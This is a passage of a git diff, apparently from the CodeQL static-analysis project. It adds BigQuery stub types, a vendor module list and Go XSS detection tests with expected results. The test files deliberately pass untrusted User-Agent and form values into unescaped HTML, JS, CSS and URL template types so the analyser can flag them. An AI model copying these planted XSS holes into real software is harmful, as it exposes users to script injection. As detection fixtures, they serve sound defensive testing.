+ return nil
+}
+
+type Schema []*FieldSchema
+
+func (_ Schema) Relax() Schema {
+ return nil
+}
+
+func (_ Schema) ToJSONFields() ([]byte, error) {
+ return nil, nil
+}
+
+type ScriptStackFrame struct {
+ StartLine int64
+ StartColumn int64
+ EndLine int64
+ EndColumn int64
+ ProcedureID string
+ Text string
+}
+
+type ScriptStatistics struct {
+ EvaluationKind string
+ StackFrames []*ScriptStackFrame
+}
+
+type SessionInfo struct {
+ SessionID string
+}
+
+type SnapshotDefinition struct {
+ BaseTableReference *Table
+ SnapshotTime time.Time
+}
+
+type StandardSQLDataType struct {
+ ArrayElementType *StandardSQLDataType
+ RangeElementType *StandardSQLDataType
+ StructType *StandardSQLStructType
+ TypeKind string
+}
+
+type StandardSQLField struct {
+ Name string
+ Type *StandardSQLDataType
+}
+
+type StandardSQLStructType struct {
+ Fields []*StandardSQLField
+}
+
+type StandardSQLTableType struct {
+ Columns []*StandardSQLField
+}
+
+type State int
+
+type Statistics interface{}
+
+type StreamingBuffer struct {
+ EstimatedBytes uint64
+ EstimatedRows uint64
+ OldestEntryTime time.Time
+}
+
+type Table struct {
+ ProjectID string
+ DatasetID string
+ TableID string
+}
+
+func (_ *Table) CopierFrom(_ ...*Table) *Copier {
+ return nil
+}
+
+func (_ *Table) Create(_ context.Context, _ *TableMetadata) error {
+ return nil
+}
+
+func (_ *Table) Delete(_ context.Context) error {
+ return nil
+}
+
+func (_ *Table) ExtractorTo(_ *GCSReference) *Extractor {
+ return nil
+}
+
+func (_ *Table) FullyQualifiedName() string {
+ return ""
+}
+
+func (_ *Table) IAM() interface{} {
+ return nil
+}
+
+func (_ *Table) Identifier(_ IdentifierFormat) (string, error) {
+ return "", nil
+}
+
+func (_ *Table) Inserter() *Inserter {
+ return nil
+}
+
+func (_ *Table) LoaderFrom(_ LoadSource) *Loader {
+ return nil
+}
+
+func (_ *Table) Metadata(_ context.Context, _ ...TableMetadataOption) (*TableMetadata, error) {
+ return nil, nil
+}
+
+func (_ *Table) Read(_ context.Context) *RowIterator {
+ return nil
+}
+
+func (_ *Table) Update(_ context.Context, _ TableMetadataToUpdate, _ string, _ ...TableUpdateOption) (*TableMetadata, error) {
+ return nil, nil
+}
+
+func (_ *Table) Uploader() *Inserter {
+ return nil
+}
+
+type TableConstraints struct {
+ PrimaryKey *PrimaryKey
+ ForeignKeys []*ForeignKey
+}
+
+type TableCopyOperationType string
+
+type TableCreateDisposition string
+
+type TableIterator struct{}
+
+func (_ *TableIterator) Next() (*Table, error) {
+ return nil, nil
+}
+
+func (_ *TableIterator) PageInfo() interface{} {
+ return nil
+}
+
+type TableMetadata struct {
+ Name string
+ Location string
+ Description string
+ Schema Schema
+ MaterializedView *MaterializedViewDefinition
+ ViewQuery string
+ UseLegacySQL bool
+ UseStandardSQL bool
+ TimePartitioning *TimePartitioning
+ RangePartitioning *RangePartitioning
+ RequirePartitionFilter bool
+ Clustering *Clustering
+ ExpirationTime time.Time
+ Labels map[string]string
+ ExternalDataConfig *ExternalDataConfig
+ EncryptionConfig *EncryptionConfig
+ FullID string
+ Type TableType
+ CreationTime time.Time
+ LastModifiedTime time.Time
+ NumBytes int64
+ NumLongTermBytes int64
+ NumRows uint64
+ SnapshotDefinition *SnapshotDefinition
+ CloneDefinition *CloneDefinition
+ StreamingBuffer *StreamingBuffer
+ ETag string
+ DefaultCollation string
+ TableConstraints *TableConstraints
+ MaxStaleness *IntervalValue
+ ResourceTags map[string]string
+ BigLakeConfiguration *BigLakeConfiguration
+}
+
+type TableMetadataOption func(interface{})
+
+type TableMetadataToUpdate struct {
+ Description interface{}
+ Name interface{}
+ Schema Schema
+ Clustering *Clustering
+ EncryptionConfig *EncryptionConfig
+ ExpirationTime time.Time
+ ExternalDataConfig *ExternalDataConfig
+ ViewQuery interface{}
+ UseLegacySQL interface{}
+ MaterializedView *MaterializedViewDefinition
+ TimePartitioning *TimePartitioning
+ RequirePartitionFilter interface{}
+ DefaultCollation interface{}
+ TableConstraints *TableConstraints
+ MaxStaleness *IntervalValue
+ ResourceTags map[string]string
+ BigLakeConfiguration *BigLakeConfiguration
+}
+
+func (_ *TableMetadataToUpdate) DeleteLabel(_ string) {}
+
+func (_ *TableMetadataToUpdate) SetLabel(_ string, _ string) {}
+
+type TableType string
+
+type TableUpdateOption func(interface{})
+
+type TableWriteDisposition string
+
+type TimePartitioning struct {
+ Type TimePartitioningType
+ Expiration time.Duration
+ Field string
+ RequirePartitionFilter bool
+}
+
+type TimePartitioningType string
+
+type TrainingRun struct {
+ ClassLevelGlobalExplanations []interface{}
+ DataSplitResult interface{}
+ EvaluationMetrics interface{}
+ ModelLevelGlobalExplanation interface{}
+ Results []interface{}
+ StartTime string
+ TrainingOptions interface{}
+ TrainingStartTime int64
+ VertexAiModelId string
+ VertexAiModelVersion string
+ ForceSendFields []string
+ NullFields []string
+}
+
+type TransactionInfo struct {
+ TransactionID string
+}
diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt
new file mode 100644
index 00000000000..1c7d4c63081
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt
@@ -0,0 +1,129 @@
+# cloud.google.com/go/bigquery v1.68.0
+## explicit
+cloud.google.com/go/bigquery
+# cloud.google.com/go v0.121.0
+## explicit
+cloud.google.com/go/bigquery
+# cloud.google.com/go/auth v0.16.1
+## explicit
+cloud.google.com/go/auth
+# cloud.google.com/go/auth/oauth2adapt v0.2.8
+## explicit
+cloud.google.com/go/auth/oauth2adapt
+# cloud.google.com/go/compute/metadata v0.6.0
+## explicit
+cloud.google.com/go/compute/metadata
+# cloud.google.com/go/iam v1.5.2
+## explicit
+cloud.google.com/go/iam
+# github.com/apache/arrow/go/v15 v15.0.2
+## explicit
+github.com/apache/arrow/go/v15
+# github.com/felixge/httpsnoop v1.0.4
+## explicit
+github.com/felixge/httpsnoop
+# github.com/go-logr/logr v1.4.2
+## explicit
+github.com/go-logr/logr
+# github.com/go-logr/stdr v1.2.2
+## explicit
+github.com/go-logr/stdr
+# github.com/goccy/go-json v0.10.2
+## explicit
+github.com/goccy/go-json
+# github.com/google/flatbuffers v23.5.26+incompatible
+## explicit
+github.com/google/flatbuffers
+# github.com/google/s2a-go v0.1.9
+## explicit
+github.com/google/s2a-go
+# github.com/google/uuid v1.6.0
+## explicit
+github.com/google/uuid
+# github.com/googleapis/enterprise-certificate-proxy v0.3.6
+## explicit
+github.com/googleapis/enterprise-certificate-proxy
+# github.com/googleapis/gax-go/v2 v2.14.1
+## explicit
+github.com/googleapis/gax-go/v2
+# github.com/klauspost/compress v1.16.7
+## explicit
+github.com/klauspost/compress
+# github.com/klauspost/cpuid/v2 v2.2.5
+## explicit
+github.com/klauspost/cpuid/v2
+# github.com/pierrec/lz4/v4 v4.1.18
+## explicit
+github.com/pierrec/lz4/v4
+# github.com/zeebo/xxh3 v1.0.2
+## explicit
+github.com/zeebo/xxh3
+# go.opentelemetry.io/auto/sdk v1.1.0
+## explicit
+go.opentelemetry.io/auto/sdk
+# go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0
+## explicit
+go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc
+# go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0
+## explicit
+go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp
+# go.opentelemetry.io/otel v1.35.0
+## explicit
+go.opentelemetry.io/otel
+# go.opentelemetry.io/otel/metric v1.35.0
+## explicit
+go.opentelemetry.io/otel/metric
+# go.opentelemetry.io/otel/trace v1.35.0
+## explicit
+go.opentelemetry.io/otel/trace
+# golang.org/x/crypto v0.37.0
+## explicit
+golang.org/x/crypto
+# golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56
+## explicit
+golang.org/x/exp
+# golang.org/x/mod v0.23.0
+## explicit
+golang.org/x/mod
+# golang.org/x/net v0.39.0
+## explicit
+golang.org/x/net
+# golang.org/x/oauth2 v0.29.0
+## explicit
+golang.org/x/oauth2
+# golang.org/x/sync v0.14.0
+## explicit
+golang.org/x/sync
+# golang.org/x/sys v0.32.0
+## explicit
+golang.org/x/sys
+# golang.org/x/text v0.24.0
+## explicit
+golang.org/x/text
+# golang.org/x/time v0.11.0
+## explicit
+golang.org/x/time
+# golang.org/x/tools v0.30.0
+## explicit
+golang.org/x/tools
+# golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da
+## explicit
+golang.org/x/xerrors
+# google.golang.org/api v0.231.0
+## explicit
+google.golang.org/api
+# google.golang.org/genproto v0.0.0-20250303144028-a0af3efb3deb
+## explicit
+google.golang.org/genproto
+# google.golang.org/genproto/googleapis/api v0.0.0-20250428153025-10db94c68c34
+## explicit
+google.golang.org/genproto/googleapis/api
+# google.golang.org/genproto/googleapis/rpc v0.0.0-20250428153025-10db94c68c34
+## explicit
+google.golang.org/genproto/googleapis/rpc
+# google.golang.org/grpc v1.72.0
+## explicit
+google.golang.org/grpc
+# google.golang.org/protobuf v1.36.6
+## explicit
+google.golang.org/protobuf
diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected
new file mode 100644
index 00000000000..84099f5dd29
--- /dev/null
+++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected
@@ -0,0 +1,60 @@
+#select
+| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | untrusted source |
+edges
+| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | provenance | |
+| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | provenance | |
+| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | provenance | |
+| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | provenance | |
+| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | provenance | |
+| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | provenance | |
+| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | provenance | |
+| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | provenance | |
+| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | provenance | |
+| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config |
+models
+| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual |
+nodes
+| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | semmle.label | a |
+| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | semmle.label | a |
+| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | semmle.label | a |
+| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | semmle.label | c |
+| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | semmle.label | d |
+| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | semmle.label | e |
+| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | semmle.label | b |
+| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | semmle.label | f |
+| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | semmle.label | g |
+subpaths
diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go
similarity index 64%
rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
rename to go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go
index de353c861cf..5ff36d0a8bc 100644
--- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
+++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go
@@ -7,8 +7,6 @@ import (
"strconv"
)
-func main() {}
-
func checkError(err error) {
if err != nil {
panic(err)
@@ -26,45 +24,45 @@ func bad(req *http.Request) {
{
{
- var a = template.HTML(req.UserAgent())
- checkError(tmpl.Execute(os.Stdout, a))
+ var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
{
var a template.HTML
- a = template.HTML(req.UserAgent())
- checkError(tmpl.Execute(os.Stdout, a))
+ a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
var a HTMLAlias
- a = HTMLAlias(req.UserAgent())
- checkError(tmpl.Execute(os.Stdout, a))
+ a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss]
}
}
}
{
- var c = template.HTMLAttr(req.UserAgent())
- checkError(tmplTag.Execute(os.Stdout, c))
+ var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
- var d = template.JS(req.UserAgent())
- checkError(tmplScript.Execute(os.Stdout, d))
+ var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
- var e = template.JSStr(req.UserAgent())
- checkError(tmplScript.Execute(os.Stdout, e))
+ var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
- var b = template.CSS(req.UserAgent())
- checkError(tmpl.Execute(os.Stdout, b))
+ var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
- var f = template.Srcset(req.UserAgent())
- checkError(tmplSrcset.Execute(os.Stdout, f))
+ var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
- var g = template.URL(req.UserAgent())
- checkError(tmpl.Execute(os.Stdout, g))
+ var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-bypass-xss]
}
}
diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref
new file mode 100644
index 00000000000..9ea7791dff2
--- /dev/null
+++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref
@@ -0,0 +1,4 @@
+query: Security/CWE-079/HtmlTemplateEscapingBypassXss.ql
+postprocess:
+ - utils/test/PrettyPrintModels.ql
+ - utils/test/InlineExpectationsTestQuery.ql
diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected
index 647113f3c6b..91b39e0e2a0 100644
--- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected
+++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected
@@ -30,10 +30,10 @@ edges
| contenttype.go:73:10:73:28 | call to FormValue | contenttype.go:79:11:79:14 | data | provenance | Src:MaD:8 |
| contenttype.go:88:10:88:28 | call to FormValue | contenttype.go:91:4:91:7 | data | provenance | Src:MaD:8 |
| contenttype.go:113:10:113:28 | call to FormValue | contenttype.go:114:50:114:53 | data | provenance | Src:MaD:8 |
-| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:34:32:37 | file | provenance | Src:MaD:7 |
+| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:30:32:33 | file | provenance | Src:MaD:7 |
| reflectedxsstest.go:31:2:31:44 | ... := ...[1] | reflectedxsstest.go:34:46:34:60 | selection of Filename | provenance | Src:MaD:7 |
-| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | |
-| reflectedxsstest.go:32:34:32:37 | file | reflectedxsstest.go:32:2:32:38 | ... := ...[0] | provenance | MaD:13 |
+| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | |
+| reflectedxsstest.go:32:30:32:33 | file | reflectedxsstest.go:32:2:32:34 | ... := ...[0] | provenance | MaD:13 |
| reflectedxsstest.go:33:17:33:56 | []type{args} [array] | reflectedxsstest.go:33:17:33:56 | call to Sprintf | provenance | MaD:12 |
| reflectedxsstest.go:33:17:33:56 | call to Sprintf | reflectedxsstest.go:33:10:33:57 | type conversion | provenance | |
| reflectedxsstest.go:33:49:33:55 | content | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | provenance | |
@@ -81,7 +81,7 @@ models
| 10 | Source: net/http; Request; true; URL; ; ; ; remote; manual |
| 11 | Source: nhooyr.io/websocket; Conn; true; Read; ; ; ReturnValue[1]; remote; manual |
| 12 | Summary: fmt; ; false; Sprintf; ; ; Argument[1].ArrayElement; ReturnValue; taint; manual |
-| 13 | Summary: io/ioutil; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual |
+| 13 | Summary: io; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual |
| 14 | Summary: io; Reader; true; Read; ; ; Argument[receiver]; Argument[0]; taint; manual |
| 15 | Summary: mime/multipart; Part; true; FileName; ; ; Argument[receiver]; ReturnValue; taint; manual |
| 16 | Summary: mime/multipart; Reader; true; NextPart; ; ; Argument[receiver]; ReturnValue[0]; taint; manual |
@@ -108,8 +108,8 @@ nodes
| contenttype.go:114:50:114:53 | data | semmle.label | data |
| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | semmle.label | ... := ...[0] |
| reflectedxsstest.go:31:2:31:44 | ... := ...[1] | semmle.label | ... := ...[1] |
-| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | semmle.label | ... := ...[0] |
-| reflectedxsstest.go:32:34:32:37 | file | semmle.label | file |
+| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | semmle.label | ... := ...[0] |
+| reflectedxsstest.go:32:30:32:33 | file | semmle.label | file |
| reflectedxsstest.go:33:10:33:57 | type conversion | semmle.label | type conversion |
| reflectedxsstest.go:33:17:33:56 | []type{args} [array] | semmle.label | []type{args} [array] |
| reflectedxsstest.go:33:17:33:56 | call to Sprintf | semmle.label | call to Sprintf |
diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go
index 43e5e022598..fe6f5844998 100644
--- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go
+++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go
@@ -8,10 +8,10 @@ import (
func serve() {
http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
- username := r.Form.Get("username")
+ username := r.Form.Get("username") // $ Source[go/reflected-xss]
if !isValidUsername(username) {
// BAD: a request parameter is incorporated without validation into the response
- fmt.Fprintf(w, "%q is an unknown user", username)
+ fmt.Fprintf(w, "%q is an unknown user", username) // $ Alert[go/reflected-xss]
} else {
// TODO: Handle successful login
}
diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref
index 754513d72bb..e6b791f39fc 100644
--- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref
+++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref
@@ -1,2 +1,4 @@
query: Security/CWE-079/ReflectedXss.ql
-postprocess: utils/test/PrettyPrintModels.ql
+postprocess:
+ - utils/test/PrettyPrintModels.ql
+ - utils/test/InlineExpectationsTestQuery.ql
diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected
index 89612f9722b..4e2958c767e 100644
--- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected
+++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected
@@ -1,9 +1,7 @@
#select
-| StoredXss.go:13:21:13:36 | ...+... | StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | Stored cross-site scripting vulnerability due to $@. | StoredXss.go:13:21:13:31 | call to Name | stored value |
| stored.go:30:22:30:25 | name | stored.go:18:3:18:28 | ... := ...[0] | stored.go:30:22:30:25 | name | Stored cross-site scripting vulnerability due to $@. | stored.go:18:3:18:28 | ... := ...[0] | stored value |
| stored.go:61:22:61:25 | path | stored.go:59:30:59:33 | definition of path | stored.go:61:22:61:25 | path | Stored cross-site scripting vulnerability due to $@. | stored.go:59:30:59:33 | definition of path | stored value |
edges
-| StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | provenance | |
| stored.go:18:3:18:28 | ... := ...[0] | stored.go:25:14:25:17 | rows | provenance | Src:MaD:1 |
| stored.go:25:14:25:17 | rows | stored.go:25:29:25:33 | &... | provenance | FunctionModel |
| stored.go:25:29:25:33 | &... | stored.go:30:22:30:25 | name | provenance | |
@@ -11,8 +9,6 @@ edges
models
| 1 | Source: database/sql; DB; true; Query; ; ; ReturnValue[0]; database; manual |
nodes
-| StoredXss.go:13:21:13:31 | call to Name | semmle.label | call to Name |
-| StoredXss.go:13:21:13:36 | ...+... | semmle.label | ...+... |
| stored.go:18:3:18:28 | ... := ...[0] | semmle.label | ... := ...[0] |
| stored.go:25:14:25:17 | rows | semmle.label | rows |
| stored.go:25:29:25:33 | &... | semmle.label | &... |
@@ -20,3 +16,5 @@ nodes
| stored.go:59:30:59:33 | definition of path | semmle.label | definition of path |
| stored.go:61:22:61:25 | path | semmle.label | path |
subpaths
+testFailures
+| StoredXss.go:13:39:13:63 | comment | Missing result: Alert[go/stored-xss] |
diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go
index 008b738f4ca..05e865be886 100644
--- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go
+++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go
@@ -2,14 +2,14 @@ package main
import (
"io"
- "io/ioutil"
"net/http"
+ "os"
)
func ListFiles(w http.ResponseWriter, r *http.Request) {
